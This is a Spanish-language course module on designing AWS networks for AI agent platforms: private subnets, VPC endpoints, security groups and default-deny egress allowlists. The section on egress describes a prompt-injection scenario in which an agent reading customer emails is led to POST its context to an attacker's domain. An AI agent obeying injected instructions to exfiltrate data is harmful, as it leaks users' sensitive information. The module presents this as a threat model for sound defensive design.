Cierre del bloque básico. El agente tiene identidad (módulo 2) y cuerpo (módulo 3); este módulo decide por dónde entra y sale cada byte. Las redes cloud tienen fama de ser el tema árido — CIDR, tablas de ruteo, siglas — pero para una plataforma de agentes se reducen a un puñado de decisiones de arquitectura, y una de ellas es posiblemente el guardrail de seguridad más potente de todo el curso: el control de lo que puede salir.

La intuición que ordena todo: en AWS, la red no es cables — es política. Diseñar la red de la plataforma es declarar, en infraestructura, quién puede hablar con quién. Y como toda política declarada en infraestructura, tiene la propiedad que el mundo agéntico necesita: el modelo no puede convencerla de nada.

La tesis del módulo

La red de una plataforma de agentes se diseña con dos reglas: nada del agente vive en subred pública, y el egress es una lista corta de destinos permitidos — no un “todo menos lo malo”. Un agente comprometido por inyección de prompt con salida libre a internet puede exfiltrar todo lo que ve; el mismo agente en una subred cuya salida solo alcanza Bedrock y dos APIs declaradas no tiene adónde mandar lo robado. La red es la jaula física; IAM, la jurídica.

Las piezas, glosadas

VPC (Virtual Private Cloud): tu red privada dentro de AWS — un rango de IPs que te pertenece, aislado del resto del mundo y de otras VPCs. Todo lo que despliegas con red (contenedores, bases, endpoints) vive en una.
Subred (subnet): una porción de la VPC anclada a una AZ. La distinción que importa: pública (con ruta al Internet Gateway — sus recursos pueden tener IP pública y ser alcanzados desde internet) vs. privada (sin esa ruta — nadie llega desde afuera).
NAT Gateway: la puerta de salida de las subredes privadas — permite que lo de adentro inicie conexiones hacia internet sin ser alcanzable desde afuera. Se paga por hora y por GB procesado (detalle que reaparece en FinOps: el NAT es un costo sorpresa clásico).
Security group: firewall con estado adjunto a cada recurso — qué puertos/orígenes pueden entrar y hacia dónde puede salir. Su superpoder: las reglas pueden referenciar otros security groups (“acepta tráfico solo desde el SG del API gateway”), declarando la topología de quién-habla-con-quién sin IPs.
VPC endpoint / PrivateLink: la conexión privada a servicios de AWS (S3, DynamoDB, Bedrock, SQS…) sin pasar por internet: el tráfico va por la red interna de AWS. PrivateLink extiende el mecanismo a servicios de terceros y propios.

La topología de referencia

     LA RED DE LA PLATAFORMA DE AGENTES

  internet
     │ solo entra lo que el gateway expone
     ▼
  ┌─────────────────────────────────────────┐
  │ subred PÚBLICA — solo puertas           │
  │   API gateway / balanceador (entrada)   │
  │   NAT gateway (salida controlada)       │
  └─────────────────────────────────────────┘
     │ entrada vía gateway     ▲ egress solo a
     │                         │ destinos permitidos
     ▼                         │
  ┌─────────────────────────────────────────┐
  │ subred PRIVADA                          │
  │   agentes (ECS / Lambda) y bases        │
  │   sin ruta directa desde internet       │
  └─────────────────────────────────────────┘
     │ VPC endpoints (sin salir a internet)
     ▼
   Bedrock · SQS · S3 · DynamoDB

Léela de arriba a abajo: internet solo toca la subred pública, y la subred pública solo contiene puertas (el balanceador o API gateway que expone lo que decidiste exponer, y el NAT que administra la salida). Los agentes, las bases y todo lo que piensa o guarda vive en privadas. Hacia los servicios de AWS, el tráfico ni siquiera sale: va por endpoints privados.

Decisión 1: hablar con AWS sin pasar por internet

Un agente en subred privada necesita Bedrock, SQS, S3. La ruta perezosa: salir por el NAT hacia los endpoints públicos de AWS. Funciona — y tiene tres costos: el tráfico da la vuelta por internet (superficie y latencia), el NAT cobra por cada GB (y los payloads de IA son gordos: contexto, documentos, embeddings), y tu política de “nada sale a internet” muere en la excepción “…salvo hacia AWS”.

La ruta correcta: VPC endpoints para cada servicio de AWS que la plataforma usa. El tráfico queda en la red de AWS, el NAT procesa menos GB, y — la joya para seguridad — los endpoints aceptan políticas propias: el endpoint de S3 puede permitir solo tus buckets, convirtiendo “puede llegar a S3” en “puede llegar a este S3”. Para una plataforma de agentes, la lista típica de endpoints se escribe en una servilleta: Bedrock, SQS, S3, DynamoDB, Secrets Manager, CloudWatch. Esa servilleta es una decisión de arquitectura: enumera con qué habla tu plataforma.

Decisión 2: el egress — el guardrail que el prompt no puede tocar

La pregunta de red más importante del curso: ¿a dónde puede salir el agente? Piensa en el modelo de amenaza real (la Trifecta Letal: datos sensibles + contenido no confiable + capacidad de comunicar hacia afuera). Un agente lee correos de clientes (datos sensibles, contenido no confiable por definición) y tiene herramientas. Si además puede hacer requests a cualquier URL, una inyección de prompt exitosa tiene el tercer ingrediente: el canal de salida. POST https://atacante.com con el contenido del contexto, y la fuga está hecha.

El control de egress rompe la trifecta por el lado físico:

Denegar por defecto. La subred del agente no sale a internet salvo a destinos enumerados. No es “bloquear sitios malos” (lista negra, siempre incompleta): es “permitir estos tres” (lista blanca, finita).
La lista corta. ¿A qué necesita salir de verdad el clasificador de correos? A Bedrock (endpoint privado — ni cuenta como egress) y quizás a la API del CRM. Dos destinos. Todo lo demás, cerrado. La implementación va desde security groups de salida e IPs, hasta proxies/firewalls de egress que filtran por dominio cuando los destinos son muchos o cambiantes — el mecanismo es detalle; la lista corta escrita es la arquitectura.
Herramientas de red = herramientas de riesgo. Si el agente tiene una herramienta “fetch URL” genérica, el control de egress es lo único entre una inyección y la exfiltración. Si puede evitarse la herramienta genérica y dar acceso solo a APIs concretas (módulo 5), mejor todavía: la lista corta baja a cero genéricos.

Ojo: nota la simetría con IAM. El módulo 2 cerró qué puede hacer el agente; este cierra a dónde puede hablar. Son las dos jaulas independientes, y la defensa en profundidad consiste en que ambas estén cerradas: si la política IAM falla (permiso de más), la red contiene; si la red falla (destino de más), IAM contiene. Un diseño que confía en una sola capa está a un error de configuración del incidente.

¿Y el tráfico entre servicios internos?

Los security groups referenciándose entre sí dibujan la topología interna: el SG de los agentes acepta solo del SG del gateway; el SG de la base acepta solo del SG de los agentes. Nadie escribe IPs, y mover o escalar servicios no rompe reglas. Para plataformas grandes con decenas de microservicios existe la malla de servicios (service mesh) con mTLS — para la escala de este curso, security groups bien referenciados cubren casi todo el valor con una fracción de la complejidad.

Errores comunes

El agente en subred pública “para probar rápido”. Con IP pública, tu agente es alcanzable desde internet y su seguridad depende de que todo lo demás esté perfecto. Nada del plano de pensamiento o datos vive en públicas — la excepción no existe.
Egress abierto porque “el agente necesita internet”. ¿Necesita internet o necesita tres APIs? Casi siempre es lo segundo. La diferencia es exactamente el canal de exfiltración de la trifecta.
Todo por el NAT, cero endpoints. Funciona, cuesta por GB en los payloads más gordos de tu stack, y agujerea la política de egress con “excepto AWS”. Endpoints privados para todo servicio AWS de uso regular.
Reglas de firewall por IP entre servicios internos. Las IPs cambian con cada despliegue; los security groups referenciados, no. La topología se declara por grupos, no por números.
Lista negra de destinos. “Bloqueamos los dominios peligrosos” pierde siempre: el atacante estrena dominio gratis. Deny por defecto + lista blanca corta es la única forma que escala.
Diseñar la red después del incidente. El control de egress se instala en el diseño, cuando cuesta una tabla; instalarlo después de la fuga cuesta lo mismo más la fuga.

La frase para llevarse

“Dos reglas de red hacen la plataforma: nada que piense o guarde vive en subred pública, y la salida es una lista corta de destinos con nombre. IAM es la jaula jurídica del agente; el egress es la física — y la inyección de prompt más brillante del mundo no abre ninguna de las dos.”

Qué viene

Empieza el bloque intermedio con el módulo 5: microservicios y APIs — la columna de integración. Ya hay cuentas, identidad, cómputo y red; falta cómo se hablan las piezas. API Gateway como puerta de entrada, y el trío que hace posible al agente autónomo: colas (SQS) para desacoplar y absorber picos, eventos (EventBridge y su scheduler) para que el trabajo despierte al agente — y no al revés —, y los patrones de integración que deciden si tu plataforma es un conjunto de servicios resiliente o un dominó de dependencias síncronas.

Arquitectura AWS — Módulo 4: redes, la VPC del agente